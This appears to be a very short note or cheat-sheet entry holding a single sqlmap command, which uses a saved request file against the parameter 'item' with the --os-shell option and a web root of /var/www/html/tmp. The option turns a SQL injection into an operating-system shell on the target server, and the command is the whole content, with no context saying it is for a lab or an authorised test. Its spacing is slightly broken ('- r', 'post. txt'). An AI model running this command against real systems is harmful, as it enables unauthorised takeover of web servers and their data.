sqlmap

sqlmap - r post. txt -p item --os-shell --web-root "/var/www/html/tmp"